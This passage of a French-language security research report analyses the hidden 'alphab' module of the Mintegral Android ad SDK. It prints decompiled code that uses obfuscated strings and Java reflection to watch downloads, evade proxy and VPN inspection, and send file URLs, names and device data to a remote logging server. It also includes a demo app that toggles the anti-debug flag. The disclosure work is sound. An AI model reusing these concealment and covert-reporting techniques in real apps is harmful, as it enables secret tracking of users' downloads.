3sign=9329a7706dd43d6ed64d022ad0e7b13b
4platform=1
5os_version=5.1.1
6package_name=com.mintegral.sdk.demo
7app_version_name=1.0
8app_version_code=1
9orientation=1
10model=Android+SDK+built+for+x86
11brand=Android
12gaid=a717e74d-64fa-464e-a28a-cbb8dc67ef6b
13mnc=260
14mcc=310
15network_type=13
16language=en
17timezone=GMT%2B02%3A00
18useragent=Mozilla%2F5.0+%28Linux%3B+Android+5.1.1%3B+Android+SDK+built+for+x86+Build%2FLMY48X%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Chrome%2F39.0.0.0+Mobile+Safari%2F537.36
19sdk_version=MAL_10.5.0
20gp_version=1.8
21screen_size=1080x2160
22has_wx=false
23cache1=747
24cache2=722
25power_rate=100
26charging=1
27http_req=2
28dvi=4BztYrxBYFQ3%2BFQ3RUE0fnVFDn5tDU3Mfkz0H7H3iBRsRrfuHoR1RUv0Woz3Y%2BN0G0Refnl9R0M0H72rRUEbfUvsRrfTRUE0kbl9fQT06N%3D%3D
29unknown_source=1
30sys_id=a54a2ddc-1a89-5ac3-aa69-d6b7906afa29
31is_clever=2

Nous avons deux paramètres encodés supplémentaires, clever et dvi. Après les avoir également décodés, nous avons remarqué quelque chose d’intéressant :

1{
2    "fl": "1246",
3    "kw": "secret.pdf",
4    "p": "",
5    "ul": [
6        "https://docs.google.com/spreadsheets/export?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf",
7        "https://doc-04-bc-sheets.googleusercontent.com/export/l5l039s6ni5uumqbsj9o11lmdc/i88fksno1losq733tkieka4gjk/1602590910000/108195709029016229403/*/10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf"
8    ],
9    "v": ""
10}
11
12{
13    "android_id": "556a5ab905bbdfd3",
14    "cid": "0",
15    "ct": "[x86]",
16    "dmf": 760,
17    "dmt": "1588"
18}

Comme nous pouvons le voir, l’URL de la feuille Google téléchargée depuis l’application Google Drive est envoyée au serveur principal dans le champ ul, et le nom du fichier téléchargé dans le champ kw, tandis que dvi contient des données sur l’appareil.

Utilisations possibles

Dans le scénario iOS, des clics frauduleux en double étaient envoyés depuis l’appareil du client aux serveurs de Mintegral, puis au fournisseur d’attribution (MMP). Dans ce cas, les APK téléchargés ou installés sont signalés aux serveurs et peuvent potentiellement servir à générer des clics côté serveur. Le schéma suivant illustre le flux de données :

Module Alphab

Le comportement décrit ci-dessus se trouve dans le module alphab, que Mintegral présentait comme un « package d’optimisation » :

À la suite de notre publication, le module a été retiré du site de Mintegral et ne semble plus faire partie du SDK distribué. Nous avons décompilé le SDK et localisé le code responsable de ce comportement.

Classe AlphaCommonConst

1public final class AlphaCommonConst {
2
3    /* renamed from: a */    public static String f0a = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKAJ7eXHM==");
4
5    /* renamed from: b */    public static String f1b = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKsYFh=");
6
7    /* renamed from: c */    public static String f2c = "decode error";
8
9    /* renamed from: d */    public static boolean is_net_debug = false;
10
11    /* renamed from: com.alphab.a$a */    /* compiled from: AlphaCommonConst */    public static class C0000a {
12
13        /* renamed from: a */        public static String ACTION_NET_DEBUG = AlphabBase64Util.m1b("aEqMQ3ckisLAfcxK7En575xOayJIYsT=");
14
15        /* renamed from: b */        public static String f5b = AlphabBase64Util.m1b("aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=");
16    }

Cette classe contient de nombreuses définitions de constantes codées en dur. Certaines chaînes sont obscurcies au moyen d’un schéma de codage personnalisé basé sur Base64, situé dans la classe AlphabBase64Util, comme nous l’avions observé dans la version iOS.

Après décodage, nous obtenons les chaînes suivantes :

1aEqMQ3ckisLAfcxK7En575xOayJIYsT=                   = alphab_net_debug_action
2aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=   = android.intent.action.PACKAGE_ADDED
37sHPNsx6f3H6fcnArsxzf0H2                           = getContentResolver
4aELKr0xI7UL67iN6HinI                               = android.net.Uri
5aELKr0xI7ULKaiJOa0cg7jLoYsLP7ELP9sng7ins7iC=       = android.database.ContentObserver
6aELKr0xI7ULGYsLP7ELPFKb4YeJAYeJj7ib4Yp7ArR==       = android.content.ContentResolver
7r0HeQibP7inoYsLP7ELP9sng7ins7iC=                   = registerContentObserver
8aELKr0xI7ULGYsLP7ELPFKn2YscKascgfcnAasHIf0H2       = android.content.BroadcastReceiver
9aELKr0xI7ULGYsLP7ELPFKA6f3H6fX7IYpJArR==           = android.content.IntentFilter
10aEJKNEbPQEx6                                       = addAction
11r0HeQibP7inj7EbAQi7ArR==                           = registerReceiver

Elles sont utilisées lors des étapes d’initialisation que nous allons aborder ensuite.

Récepteur Alphab

Dans la méthode init() de la classe AlphabReceiver, le BroadcastReceiver est initialisé à l’aide de certaines des chaînes précédemment obscurcies :

1try {
2      AlphabReceiver alphabReceiver = new AlphabReceiver();
3      Class cls = Class.forName(AlphaCommonConst.C0001b.f11f);
4      Class cls2 = Class.forName(AlphaCommonConst.C0001b.f12g);
5      Object newInstance = cls2.newInstance();
6      Method method = IntentFilter.class.getMethod(AlphaCommonConst.C0001b.f13h, String.class);
7      method.invoke(newInstance, AlphaCommonConst.C0000a.ACTION_NET_DEBUG);
8      method.invoke(newInstance, AlphaCommonConst.C0000a.f5b);
9      Context.class.getMethod(AlphaCommonConst.C0001b.f14i, cls, cls2).invoke(context, alphabReceiver, newInstance);
10      } catch (Throwable th) {
11            th.printStackTrace();
12      }

En remplaçant celles-ci par les chaînes décodées, on obtient le code suivant :

1AlphabReceiver alphab_receiver = new AlphabReceiver();
2Class alphab_receiver_cls = Class.forName("android.content.BroadcastReceiver");
3Class intent_filter_cls = Class.forName("android.content.IntentFilter");
4Object intent_inst = intent_filter_cls.newInstance();
5Method method = IntentFilter.class.getMethod("addAction", String.class);
6method.invoke(intent_inst, "alphab_net_debug_action");
7method.invoke(intent_inst, "android.intent.action.PACKAGE_ADDED");
8Context.class.getMethod("registerReceiver", alphab_receiver_cls, intent_filter_cls)
9.invoke(context, alphab_receiver, intent_inst);

Nous constatons qu’à l’aide de l’API de réflexion Java, un nouveau récepteur de diffusion est créé pour écouter deux types d’intentions :

• android.intent.action.PACKAGE_ADDED : une intention système déclenchée lorsqu’un package est installé sur l’appareil.

• alphab_net_debug_action : une intention personnalisée qui semble détecter le débogage réseau.

À la réception de l’intention, la classe AlphabReceiver construit une méthode ParseAndLoad() :

1public final class ParseAndLoad {
2
3    /* renamed from: a */    private Intent f89a;
4
5    public ParseAndLoad(Intent intent) {
6        this.f89a = intent;
7        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
8            AlphaCommonConst.is_net_debug = true;
9        }
10    }
11}

Ce champ est ensuite utilisé dans une condition :

1public final void mo40a() {
2   boolean z = true;
3   try {
4        AlphabImpl.m61c(AlphabImpl.this);
5        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).c();
6                if (com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c)) {
7                    g.b(AlphabImpl.f62a, "did in database " + this.f82c);
8                } else if (AlphabImpl.this.f64b != null) {
9                    Context a = AlphabImpl.this.f64b;
10                    if (!AlphaCommonConst.is_net_debug && (NetUtils.is_proxy_enabled(a) || NetUtils.is_vpn_enabled())) {
11                        z = false;
12                    }
13                    if (z) {
14                        g.b(AlphabImpl.f62a, "insert did" + this.f82c);
15                        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c, this.f81b);
16                        AlphabImpl.m56a(AlphabImpl.this, this.f82c);
17                    }
18                }
19            } catch (Exception e) {
20                if (MIntegralConstans.DEBUG) {
21                    e.printStackTrace();
22                }
23            }
24        }

La décompilation des deux autres méthodes dans cette clause if révèle qu’elles vérifient si la connexion réseau actuelle passe par un proxy Wi-Fi ou un client VPN. Ces vérifications visent à empêcher le débogage de l’application et l’interception de son trafic. Cette intention permet aux développeurs du SDK de contourner cette fonctionnalité anti-débogage.

Observateur Alphab

De même, le bloc d’initialisation de ce ContentObserver est dissimulé par la réflexion et des chaînes obscurcies :

1C0014a aVar = new C0014a(this.f70i);
2Object invoke = Context.class.getMethod(AlphaCommonConst.C0001b.f6a, new Class[0]).invoke(context, new Object[0]);
3Class cls3 = Class.forName(AlphaCommonConst.C0001b.f7b);
4                        Class cls4 = Class.forName(AlphaCommonConst.C0001b.f8c);                  Class.forName(AlphaCommonConst.C0001b.f9d).getMethod(AlphaCommonConst.C0001b.f10e, cls3, Boolean.TYPE, cls4).invoke(invoke, Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKrM==")), true, aVar);

Après nettoyage, on obtient ce qui suit :

1AlpahbObserver observer = new AlpahbObserver(handler);
2Object contentResolverObject = Context.class.getMethod(AlphaCommonConst.REFLECT.GETCONTENTRESOLVER).invoke(context);
3Class uriClass = Class.forName(AlphaCommonConst.REFLECT.URI_CLASS);
4Class contentObserver = Class.forName(AlphaCommonConst.REFLECT.CONTENTOBSERVER_CLASS);
5Class contentResolver = Class.forName(AlphaCommonConst.REFLECT.CONTENTRESOLVER_CLASS).getMethod(AlphaCommonConst.REFLECT.REGISTERCONTENTOBSERVER, uriClass, boolean.class, contentObserver)
6.invoke(contentResolverObject, Uri.parse(AlphabBase64Util.newBase64Decode(uriDownload)), true, observer);

Cela signifie que l’observateur de contenu est enregistré pour écouter l’URI content://downloads et qu’il se déclenche chaque fois qu’un fichier est téléchargé sur l’appareil.

Il interroge le gestionnaire de téléchargements Android pour obtenir les téléchargements publics :

1cursor = aVar.f64b.getContentResolver().query(Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKr2xMfEnzQEbm73xyY0q4aEJgFM==") + str), null, null, null, null);

et, après décodage de la chaîne, nous obtenons ce qui suit :

1cursor = aVar.f64b.getContentResolver()
2.query(Uri.parse("content://downloads/public_downloads" + str), null, null, null, null);

Si l’URL de téléchargement répond à l’une des conditions suivantes, un rapport est envoyé à https://n.systemlog.met/stlog :

1. Se termine par apk : concerne les téléchargements manuels.

2. Renvoie vers un package appartenant à com.android.vending ou contient google.com : permet de détecter toute application Google, voire toute URL de navigateur correspondant à cette condition.

Voici l’extrait de code qui envoie la requête au serveur https://n.systemlog.met/stlog.

1else if (message.what == AlphabReqImpl.this.f23d && (eVar = new SCReq(AlphabReqImpl.this.f20a)) != null) {
2                g.a("AlphabReqImpl", "setting  is request");
3                eVar.b(0, AlphaCommonConst.f0a, AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
4            }

ce qui équivaut à :

1else if (message.what == AlphabReqImpl.this.f23d && (req = new SCReq(AlphabReqImpl.this.f20a)) != null) {
2                g.a("AlphabReqImpl", "setting  is request");
3                req.send(0, "http://n.systemlog.me/stlog", AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);

« Ici, nous pouvons voir les paramètres observés dans la requête capturée dans notre exemple :

1static /* synthetic */ void m26a(ReqPKGAndReportManager dVar, String str, String str2, List list, String str3, String str4) {
2        try {
3            if (TextUtils.isEmpty(str2)) {
4                str2 = "";
5            }
6            if (TextUtils.isEmpty(str)) {
7                str = "";
8            }
9            JSONArray jSONArray = new JSONArray();
10            JSONObject jSONObject = new JSONObject();
11            if (jSONObject != null) {
12                try {
13                    jSONObject.put("p", str);
14                    jSONObject.put("v", str2);
15                    JSONArray jSONArray2 = new JSONArray();
16                    if (list != null && list.size() >= 0) {
17                        for (int i = 0; i < list.size(); i++) {
18                            jSONArray2.put(list.get(i));
19                        }
20                    }
21                    jSONObject.put("ul", jSONArray2);
22                    jSONObject.put("kw", str3);
23                    jSONObject.put("fl", str4);
24                } catch (Throwable th) {
25                    if (MIntegralConstans.DEBUG) {
26                        th.printStackTrace();
27                    }
28                }
29            }
30            jSONArray.put(jSONObject);
31            String b = com.mintegral.msdk.base.utils.a.b(jSONArray.toString());
32            dVar.f40i = new c();
33            if (!(dVar.f40i == null || dVar.f20a == null)) {
34                dVar.f40i.a("clever", b);
35            }
36            dVar.mo10a(dVar.f40i);

• p : nom du package en cours de téléchargement, c’est-à-dire l’application

• v : version de l’application

• ul : URL du fichier téléchargé

• kw : nom du fichier téléchargé

• fl : taille du fichier

Application de démonstration

Pour démontrer ce comportement, nous avons créé une application de démonstration qui nous permettait de :

1. Activer l’indicateur de débogage réseau par réflexion pour contourner la logique anti-débogage

1buttonIsNetDebug.setOnClickListener(new View.OnClickListener() {
2   @Override
3   public void onClick(View v) {
4       try {
5           Class AlphaCommonConst = Class.forName("com.alphab.a");
6           AlphaCommonConst.getDeclaredField("d").set(null, true);
7       } catch (Exception e) {
8           e.printStackTrace();
9       }
10   }
11});

2. Télécharger un fichier depuis une URL contenant google.com

1buttonDownloadGoogleLogo.setOnClickListener(new View.OnClickListener() {
2   @Override
3   public void onClick(View v) {
4       Uri uri = Uri.parse("https://images.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png");
5       DownloadManager.Request request = new DownloadManager.Request(uri);
6       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "googlelogo_color_272x92dp.png");
7       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
8       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
9       manager.enqueue(request);
10   }
11});

3. Télécharger un fichier depuis une URL se terminant par apk

1buttonDownloadApk.setOnClickListener(new View.OnClickListener() {
2   @Override
3   public void onClick(View v) {
4       Uri uri = Uri.parse("https://storage.evozi.com/apk/dl/16/09/04/com.shazam.android_1004300.apk?f=google.com");
5       DownloadManager.Request request = new DownloadManager.Request(uri);
6       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "com.shazam.android_1004300.apk");
7       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
8       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
9       manager.enqueue(request);
10   }
11});

« Nous avons capturé les requêtes sortantes à l’aide d’un proxy HTTP. Après avoir cliqué sur l’un des boutons de téléchargement, nous pouvons voir qu’une requête est envoyée au point de terminaison du serveur :

Voici une vidéo qui montre le comportement de suivi :

Play Video: Malicious Mintegral SDK Leaks Data on Android

Chronologie